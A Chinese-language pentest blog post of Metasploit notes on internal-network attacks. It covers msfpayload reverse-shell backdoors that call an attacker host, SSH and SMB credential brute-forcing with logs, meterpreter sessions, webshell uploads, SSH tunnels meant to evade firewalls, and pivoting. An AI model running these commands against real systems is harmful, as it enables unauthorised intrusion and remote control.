metasploit滲透測試筆記(內網滲透篇)
0x01 reverse the shell
File
通常做法是使用msfpayload生成一個backdoor.exe然後上傳到目標機器執行。本地監聽即可獲得meterpreter shell。
reverse_tcp/http/https => exe => victim => shell
reverse_tcp
windows:
msfpayload windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> X > shell.exe
Linux(x86)
msfpayload linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> R | msfencode -t elf -o shell
reverse_http
msfpayload windows/meterpreter/reverse_http LHOST=<Your IP Address> LPORT=<Your Port to Connect On> X > shell.exe
reverse_https
msfpayload windows/meterpreter/reverse_https LHOST=<Your IP Address> LPORT=<Your Port to Connect On> X > shell.exe
Login privilege
在獲得一些登陸許可權之後獲得meterpreter shell的方法。
SSH
ssh_login
模組路徑:auxiliary/scanner/ssh/ssh_login
msf exploit(sshexec) > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > show options
Module options (auxiliary/scanner/ssh/ssh_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS true no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target address range or CIDR identifier
RPORT 22 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS true no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
msf auxiliary(ssh_login) > set RHOSTS 192.168.1.104
RHOSTS => 192.168.1.104
msf auxiliary(ssh_login) > set USERNAME root
USERNAME => root
msf auxiliary(ssh_login) > set PASS
set PASSWORD set PASS_FILE
msf auxiliary(ssh_login) > set PASSWORD toor
PASSWORD => toor
msf auxiliary(ssh_login) > exploit
[*] 192.168.1.104:22 SSH - Starting bruteforce
[*] 192.168.1.104:22 SSH - [1/3] - Trying: username: 'root' with password: ''
[-] 192.168.1.104:22 SSH - [1/3] - Failed: 'root':''
[*] 192.168.1.104:22 SSH - [2/3] - Trying: username: 'root' with password: 'root'
[-] 192.168.1.104:22 SSH - [2/3] - Failed: 'root':'root'
[*] 192.168.1.104:22 SSH - [3/3] - Trying: username: 'root' with password: 'toor'
[*] Command shell session 4 opened (192.168.1.105:54562 -> 192.168.1.104:22) at 2014-08-07 22:55:54 +0800
[+] 192.168.1.104:22 SSH - [3/3] - Success: 'root':'toor' 'uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=system_u:system_r:unconfined_t:SystemLow-SystemHigh Linux localhost.localdomain 2.6.18-164.el5 #1 SMP Thu Sep 3 03:33:56 EDT 2009 i686 i686 i386 GNU/Linux '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
4 shell linux SSH root:toor (192.168.1.104:22) 192.168.1.105:54562 -> 192.168.1.104:22 (192.168.1.104)
msf auxiliary(ssh_login) >
這裡metasploit在探測ssh弱口令時,如果發現存在,則會返回一個linux shell,注意此時不是meterpreter shell。接下來可以使用
sessions –u id
將linux shell升級為meterpreter shell,本地測試失敗了。:(
sshexec
模組路徑:auxiliary/scanner/ssh/ssh_login
注意這個模組BT5下是沒有的,kali中則存在。
msf> use exploit/multi/ssh/sshexec
msf exploit(sshexec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(sshexec) > set LHOST 192.168.1.105
LHOST => 192.168.1.105
msf exploit(sshexec) > set LPORT 8080
LPORT => 8080
msf exploit(sshexec) > set RHOST 192.168.1.104
RHOST => 192.168.1.104
msf exploit(sshexec) > set PASSWORD toor
PASSWORD => toor
msf exploit(sshexec) > exploit
[*] Started reverse handler on 192.168.1.105:8080
[*] 192.168.1.104:22 - Sending Bourne stager...
[*] Command Stager progress - 40.39% done (288/713 bytes)
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1228800 bytes) to 192.168.1.104
[*] Command Stager progress - 100.00% done (713/713 bytes)
[*] Meterpreter session 3 opened (192.168.1.105:8080 -> 192.168.1.104:40813) at 2014-08-07 22:53:12 +0800
meterpreter >
smb
模組路徑:exploit/windows/smb/psexec
當使用smb_login掃出windows的弱口令時,可以嘗試使用這種方法獲取shell。 這是在內網中獲得windows shell最基本的方法,在登陸域機器時需要設定Domain引數,否則登陸錯誤。
正如之前提到的show advanced,每個模組都有高階引數設定,這裡的psexec就可以設定advanced中的EXE引數達到執行攻擊者本地任意檔案的目的(見參考<1>)。
如果目標機器有殺軟或者其他簡單的防護措施呢? 那麼可以嘗試只執行命令
psexec_command
模組路徑:auxiliary/admin/smb/psexec_command
這裡需要注意的是psexec.exe(pstools中的工具)如果不能成功執行,那麼psexec_command或許是可以執行的,並且大多數的情況下metasploit中的psexec都可以用,而psexec.exe則不能用 :(
sqlserver
msf exploit(psexec) > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > show options
Module options (exploit/windows/mssql/mssql_payload):
Name Current Setting Required Description
---- --------------- -------- -----------
METHOD cmd yes Which payload delivery method to use (ps, cmd, or old)
PASSWORD no The password for the specified username
RHOST yes The target address
RPORT 1433 yes The target port
USERNAME sa no The username to authenticate as
USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(mssql_payload) >
在獲得sql server的登陸許可權後同樣可以快速的獲得meterpreter shell。
注意這裡METHOD選項,三種方法都要使用XP_cmdshell,而第一種ps是使用powershell,第二種需要使用wscript.exe,第三種則要用到debug.com。 本地沒有環境,就不截圖演示了
others
不管是什麼場景,只要能轉換成檔案上傳和執行許可權就可以得到shell。在獲得一種許可權時當然可以先google一番是否有可適用的指令碼,如果沒有再分析是否能轉換為檔案操作和執行許可權。如果可以那就可以得到shell了。 比如:
mysql and sqlserver ..etc => file/webshell =>shell
本地同樣也測試了下tunna裡自帶的msf外掛,測試了php版的。程式碼大致是這樣的
先本地生成一個meterpreter.exe(檔名不隨機),
然後上傳到c:\windows\temp\meterpreter.exe
。
再透過php的exec函式執行。測試的時候發現程式碼生成meterpreter.exe時LHOST引數有誤,改了rb程式碼之後終於在錯誤中彈回。
0x02 pivot with metasploit
在獲取到跳板機一定許可權後,如何充分發揮跳板功能呢?這部分內容將簡單的介紹幾種常見的方法。
新增路由表
這是在metasploit中最常用的方法,在新增路由表和session的關係後,便可以使用msf中的模組跨網段掃描或攻擊。方法有很多,這裡有個指令碼autoroute可以快速新增路由表(如上圖),也可以將當前session置於後臺(backgroud),然後用route命令新增。
Socks4a代理
這裡使用auxiliary/server/socks4a
模組,需要注意Proxychains不支援ICMP,所以在代理使用NMAP的時候需要使用 –sT -Pn
引數。另外Proxychains的連線提示很亂,用kali自帶的Proxychains代理使用sqlmap的時候看起來真的特別亂。在這裡可以使用proxychains-ng。 先在kali中解除安裝proxychains,然後再安裝proxychains-ng。
[email protected]:~# git clone https://github.com/rofl0r/proxychains-ng.git
正克隆到 'proxychains-ng'...
remote: Counting objects: 842, done.
remote: Total 842 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (842/842), 465.92 KiB | 27 KiB/s, done.
Resolving deltas: 100% (554/554), done.
[email protected]:~# cd proxychains-ng/
[email protected]:~/proxychains-ng# ./configure --prefix=/usr --sysconfdir=/etc
Done, now run make && make install
[email protected]:~/proxychains-ng# make && make install
之後使用proxychains4 -q
選項執行,然後就不會有雜亂混雜的輸出了。
ssh
meta_ssh
當有一個ssh登入許可權後,可以使用這個外掛在ssh會話基礎上建立連結(見參考<2>)。
之後進入shell,檢視網路卡IP資訊,然後退出再新增路由表。
再嘗試掃描5.5.5.0/24這個段,然後對這個段中的5.5.5.134進行弱口令掃描。
發現可以獲得結果。
ssh/plink.exe
還有一種利用SSH的方式就在windows下使用plink反彈,這樣資料包經過SSH加密後,便可以躲過防火牆的檢測。同理在linux也是一樣的。 首先生成反彈到本地的reverse後門。
msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=5566 > ~/Desktop/backdoor_reverse_localhost.exe
然後開啟本地監聽,再將plink和backdoor.exe透過webshell上傳。然後執行
echo y | plink.exe -L 5566:192.168.6.131:6666 192.168.6.131 -l root -pw toor
之後執行backdoor.exe,meterpreter就透過ssh tunnel建立起來了。
0x03 內網掃描
Metasploit對於常見服務(smb/ssh/mysql/mssql/oracle/ftp/tfp/ …etc
)掃描可以做到版本資訊(banner
)、登入驗證等。
簡單過程可以參考之前的筆記《msf內網滲透小記》
具體掃描的指令碼路徑在/usr/share/metasploit-framework/modules/auxiliary/scanner
下,可以根據需求自行發現。
常見的掃描埠: 7,21,22,23,25,43,50,53,67,68,79,80,109,110,111,123,135,137,138,139,143,161,264,265,389,443,445,500,631,901,995,1241,1352,1433,1434,1521,1720,1723,3306,3389,3780,4662,5800,5801,5802,5803,5900,5901,5902,5903,6000,6666,8000,8080,8443,10000,10043,27374,27665
當然也可以使用rc指令碼(basic_discovery.rc
)。
另外內網裡還有一處資訊的蒐集就是snmp,如果有交換機存在snmp弱口令(團體字串),那麼便可以透過snmp收集路由表資訊和VLAN劃分資訊等。
一般網路都會在vlan劃分時備註資訊,比如Vlan100是x部門,Vlan200是y部門等等。 不同品牌、型號的交換機在獲取這一資訊時所需要的OID可能不同(大部分不一樣),而snmp又是在udp的161埠,在交換機沒有開放ssh、telnet、web時\或者開放以上服務,埠又未能做轉發時,則可以在知道具體的OID值後透過改寫snmp_enumusers.rb指令碼實現。
0x04 域滲透相關
推薦幾個AD下滲透的掃描指令碼(見參考<3>,下同)
psexec_Loggedin_users
這個指令碼可以找到當前段每個IP所登入的使用者。
local_admin_search_enum
這個可以找到當前登入管理賬戶的IP和使用者名稱。
psexec_scanner
批次執行psexec獲得shell,指令碼里有個psexec的函式,絕對是改寫的好範本。見參考<4>
更多metasploit關於windows域滲透的指令碼見參考<5>
0x05 後記
關於內網及域下滲透並不一定需要metasploit,更多的是與其他工具的配合。而且這一過程思路(見參考<6>)和對AD的理解明顯比會用工具重要。metasploit只是提供了一個自動化發現利用的tunnel,如果簡單理解ruby及metasploit程式碼框架,無論是學習還是滲透測試,都將會是一個有力的輔助。另外上文中的示例只是為讀者所遇情況而構建指令碼時的參考。
0x06 參考
<1> http://opexxx.tumblr.com/post/35763770674/btb-security-how-to-make-custom-exes-for-deployment
<2> https://github.com/dirtyfilthy/metassh
<3> http://www.pentestgeek.com/2012/11/03/find-local-admin-with-metasploit/
<4> http://www.darkoperator.com/blog/2011/12/16/psexec-scanner-auxiliary-module.html
<5> https://github.com/darkoperator/Meterpreter-Scripts/tree/master/post/windows/gather
<6> http://www.freebuf.com/articles/web/5901.html (及8樓Gall的回覆)
相關文章
- metasploit 滲透測試筆記(基礎篇)2020-08-19筆記
- metasploit 滲透測試筆記(meterpreter篇)2020-08-19筆記
- Metasploit滲透測試指南2012-02-13
- 內網滲透 Metasploit(MSF)基礎使用2024-05-17內網
- 內網滲透測試基礎2021-02-07內網
- Metasploit滲透測試學習筆記——7、使用Metasploit生成各種payload2018-05-23筆記
- 內網滲透-初探域滲透2024-10-28內網
- 9、Metasploit域滲透測試全程實錄2018-06-11
- 滲透測試會用到哪些工具?滲透測試教程2021-08-05
- 滲透測試基礎--內網轉發2024-07-13內網
- 網路安全滲透測試的型別!滲透測試入門教程2021-08-02型別
- beescms網站滲透測試2020-12-27網站
- 網路安全滲透測試2018-06-01
- 什麼是滲透測試?網站有必要進行滲透測試嗎?2023-09-19網站
- 內網滲透工具2024-06-10內網
- 《Metasploit滲透測試手冊》—第3章3.3節在WindowsXPSP2上進行滲透測試8.7使用Metasploit進行模糊測試2017-05-02Windows
- 滲透測試學習記錄2020-12-08
- 什麼是網路滲透測試?網路滲透測試分為幾種型別?2022-08-25型別
- Linux滲透測試2018-05-31Linux
- 滲透測試-資訊收集2024-04-22
- 滲透測試報告2024-03-22測試報告
- 【滲透測試】Vulnhub DarkHole2024-08-19
- 搭建滲透測試環境選自KaliLinux無線網路滲透測試教程2015-01-05Linux
- 滲透測試什麼?滲透測試具體操作流程是什麼2022-03-31
- Android滲透測試Android滲透測試入門教程大學霸2015-02-04Android
- 內網滲透隨想2020-08-19內網
- Linux內網滲透2022-05-23Linux內網
- 工作組內網滲透2022-02-07內網
- 17、內網滲透測試定位技術總結2018-06-14內網
- 【滲透測試筆記】之【MSF 弱點掃描】2020-11-19筆記
- vulnhub devguru滲透筆記2022-04-15dev筆記
- 記學習滲透測試之列舉2021-11-12
- 內網滲透-內網資訊收集2024-10-21內網
- 網站滲透測試安全檢測漏洞2019-11-24網站
- 網站滲透測試安全檢測方案2019-10-17網站
- 內網滲透應用 跨vlan滲透的一種思路2020-08-19內網
- Me-and-My-Girlfriend-1靶機滲透 (Vulnhub內網滲透)2024-11-03內網
- Kail Linux滲透測試教程之在Metasploit中掃描2015-09-01AILinux